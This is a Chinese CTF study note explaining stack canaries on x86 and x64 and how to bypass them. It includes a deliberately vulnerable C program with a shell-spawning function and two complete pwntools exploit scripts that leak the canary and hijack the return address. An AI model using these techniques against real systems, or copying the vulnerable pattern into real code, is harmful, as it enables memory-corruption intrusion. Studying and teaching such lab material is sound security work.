PWN之Canary学习

Canary

参考链接:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/mitigation/canary-zh/

0x1 简介:

用于防止栈溢出被利用的一种方法,原理是在栈的ebp下面放一个随机数,在函数返回之前会检查这个数有没有被修改,就可以检测是否发生栈溢出了。

0x2 原理:

在栈底放一个随机数,在函数返回时检查是否被修改。具体实现如下:
x86 :
在函数序言部分插入canary值:

mov    eax,gs:0x14mov    DWORD PTR [ebp-0xc],eax

在函数返回之前,会将该值取出,检查是否修改。这个操作即为检测是否发生栈溢出。

mov    eax,DWORD PTR [ebp-0xc]xor    eax,DWORD PTR gs:0x14je     0x80492b2 <vuln+103> # 正常函数返回call   0x8049380 <__stack_chk_fail_local> # 调用出错处理函数

x86 栈结构大致如下:

        High          Address |                 |                  +-----------------+                | args            |                +-----------------+                | return address  |                +-----------------+                | old ebp         |      ebp =>    +-----------------+                | ebx             |    ebp-4 =>    +-----------------+                | unknown         |    ebp-8 =>    +-----------------+                | canary value    |   ebp-12 =>    +-----------------+                | 局部变量         |        Low     |                 |        Address

x64 :
函数序言:

mov    rax,QWORD PTR fs:0x28mov    QWORD PTR [rbp-0x8],rax

函数返回前:

mov    rax,QWORD PTR [rbp-0x8]xor    rax,QWORD PTR fs:0x28je     0x401232 <vuln+102> # 正常函数返回call   0x401040 <__stack_chk_fail@plt> # 调用出错处理函数

x64 栈结构大致如下:

        High        Address |                 |                +-----------------+                | args            |                +-----------------+                | return address  |                +-----------------+                | old ebp         |      rbp =>    +-----------------+                | canary value    |    rbp-8 =>    +-----------------+                | 局部变量         |        Low     |                 |        Address

0x3 绕过

0x3.1 泄露栈中的Canary

Canary 设计为以字节 \x00 结尾,本意是为了保证 Canary 可以截断字符串。 泄露栈中的 Canary 的思路是覆盖 Canary 的低字节,来打印出剩余的 Canary 部分。 这种利用方式需要存在合适的输出函数,并且可能需要第一溢出泄露 Canary,之后再次溢出控制执行流程。

利用示例

源代码如下:

// ex2.c#include <stdio.h>#include <unistd.h>#include <stdlib.h>#include <string.h>void getshell(void) {    system("/bin/sh");}void init() {    setbuf(stdin, NULL);    setbuf(stdout, NULL);    setbuf(stderr, NULL);}void vuln() {    char buf[100];    for(int i=0;i<2;i++){        read(0, buf, 0x200);        printf(buf);    }}int main(void) {    init();    puts("Hello Hacker!");    vuln();    return 0;}

编译为 32bit 程序,开启 NX,ASLR,Canary 保护,需要关闭PIE

gcc -m32 -no-pie ex2.c -o ex2-x86

linux默认开启 NX,ASLR,Canary 保护
首先通过覆盖 Canary 最后一个 \x00 字节来打印出 4 位的 Canary 之后,计算好偏移,将 Canary 填入到相应的溢出位置,实现 Ret 到 getshell 函数中

EXP

#!/usr/bin/env pythonfrom pwn import *context.binary = 'ex2-x86'# context.log_level = 'debug'io = process('./ex2-x86')get_shell = ELF("./ex2-x86").sym["getshell"] # 这里是得到getshell函数的起始地址io.recvuntil("Hello Hacker!\n")# leak Canarypayload = "A"*100io.sendline(payload) # 这里使用 sendline() 会在payload后面追加一个换行符 '\n' 对应的十六进制就是0xaio.recvuntil("A"*100)Canary = u32(int.from_bytes(io.recv(4),"little"))-0xa # 这里减去0xa是为了减去上面的换行符,得到真正的 Canarylog.info("Canary:"+hex(Canary))# Bypass Canarypayload = b"\x90"*100+p32(Canary)+b"\x90"*12+p32(get_shell) # 使用getshell的函数地址覆盖原来的返回地址io.send(payload)io.recv()io.interactive()

编译为64位程序:

gcc -no-pie ex2.c -o ex2-x64

EXP

#!/usr/bin/env pythonfrom pwn import *context.binary = 'ex2-x64'# context.log_level = 'debug'io = process('./ex2-x64')get_shell = ELF("./ex2-x64").sym["getshell"] # 这里是得到getshell函数的起始地址io.recvuntil("Hello Hacker!\n")# leak Canarypayload = "A"*100 + "A" * 4 # 这里再加4个 A 是因为 100 模 8 是 4 ,如果不补齐 8 位,则无法覆盖canary后面的 \x00io.sendline(payload) # 这里使用 sendline() 会在payload后面追加一个换行符 '\n' 对应的十六进制就是0xaio.recvuntil("A"*104)Canary = u64(io.recv(8))-0xa # 这里减去0xa是为了减去上面的换行符,得到真正的 Canarylog.info("Canary:"+hex(Canary))# Bypass Canarypayload = b"\x90"*104+p64(Canary)+b"\x90"*8+p64(get_shell) # 使用getshell的函数地址覆盖原来的返回地址io.send(payload)io.recv()io.interactive()

0x3.2 one-by-one 爆破 Canary

感觉用处不大,具体的可以看参考链接

0x3.3 劫持__stack_chk_fail 函数

已知 Canary 失败的处理逻辑会进入到 __stack_chk_fail 函数,__stack_chk_fail 函数是一个普通的延迟绑定函数,可以通过修改 GOT 表劫持这个函数。

参见 ZCTF2017 Login,利用方式是通过 fsb 漏洞篡改 __stack_chk_fail 的 GOT 表,再进行 ROP 利用
参考链接:
https://1ce0ear.github.io/2017/09/29/ZCTF2017-login/
https://jontsang.github.io/post/34549.html

0x3.4 覆盖 TLS 中储存的 Canary 值

已知 Canary 储存在 TLS 中,在函数返回前会使用这个值进行对比。当溢出尺寸较大时,可以同时覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过。

参见 StarCTF2018 babystack
参考链接:
https://jontsang.github.io/post/34550.html

(0)

相关推荐

  • 一次受益颇多的CTF(RE/PWN)

    前言 这个是Hgame_CTF第三周的题目,难度一周比一周大,而且还涉及了多方面的知识,一整期做下来对或许会有一个比较大的提升.其中有一道逆向,是通过监控本地端口来获取输入的,第一次接触这种输入模式, ...

  • CTF PWN练习之返回地址覆盖

    今天进行的实验是CTF PWN练习之返回地址覆盖,来体验一下新的溢出方式. 学习地址覆盖之前还有些小知识需要掌握,不然做题的时候你肯定一脸懵逼,首先是函数调用约定,然后还要知道基本的缓冲区溢出攻击模型 ...

  • 记一次CTF实战练习(RE/PWN)

    这是Hgame_CTF第二周的题目,一共有四周.相对来说,比第一周难(HgameCTF(week1)-RE,PWN题解析).这次的有一道逆向考点也挺有意思,得深入了解AES的CBC加密模式才能解题.还 ...

  • 栈溢出技巧(下)

    基于报错类的栈保护 canary这个值被称作金丝雀("canary")值,指的是矿工曾利用金丝雀来确认是否有气体泄漏,如果金丝雀因为气体泄漏而中毒死亡,可以给矿工预警.在brop中 ...

  • S50学习资料讲解

    S50学习资料讲解

  • “取类比象”——学习中医的秘法

    万物皆有"象",按同象同类的原则,由一般到个别,从已知推导未知,以类万物,中国古代圣贤即是以这种演绎方法来认识世界,建立了整个传统文化体系.中医是传统文化中的瑰宝,中医学中亦有&q ...

  • 整理明朝山水画100幅供大家学习收藏

    整理明朝山水画100幅供大家学习收藏

  • 初中数学19类最值问题全覆盖,收藏学习!

    春熙初中数学 25篇原创内容 公众号 初中数学解题思路 本号致力于初中数学学习的钻研和探索.全面覆盖初中数学典型题集.解题模型.动点最值.思路方法.超级易错.几何辅助线.压轴破解等方面,欢迎关注! 1 ...

  • 一则公报案例学习笔记:对修改股东出资期限应否适用资本多数决规则的思考|审判研究

    一.问题的提出 2021年第3期<最高人民法院公报案例>刊登了鸿大(上海)投资管理有限公司与姚锦城公司决议纠纷上诉案,裁判要旨为:"公司股东滥用控股地位,以多数决方式通过修改出资 ...

  • “经方就是好”、“高手在民间”,是中医学习之道

    导读:提到中医的最大优势及特点,很多朋友首先想的是辨证论治,并把其奉为中医的瑰宝.然而事实是这样的,现在很多人倍加推崇的辨证论治,并不是真正的辨证论治,而是一种畸形的中医发展模式,因为目前的辨证论治, ...

  • 孩子学习不积极没动力, 家长要时刻注意, 可能是缺乏“内驱力”

    我们都知道兴趣是孩子最好的老师,孩子在兴趣状态下,非常愿意学习,不用家长催促,孩子就有足够的内驱力,并且孩子也不觉得学习是一件枯燥的事情.所以想要让孩子不再被家长催促着学习,要帮助孩子找到内驱力. 只 ...

  • 迁移学习——入门简介

    一.简介 背景:现如今数据爆炸: 对机器学习模型来说要求快速构建,强泛化 对于数据来说,大部分数据没有标签 所以收集标签数据和从头开始构建一个模型都是代价高昂的,需要对模型和带有标签的数据进行重用 传 ...

  • 真正能拉开孩子未来差距的不是学习成绩, 而是这3个方面的习惯

    李玫瑾教授曾经说过,她的女儿有一次晚上写作业,由于作业很多,已经写到很晚了还没有写完.而老师又要求每个家长都要给孩子检查作业,并且家长签字.于是李教授让女儿不要再写作业了,并且在女儿的作业本上写了一行 ...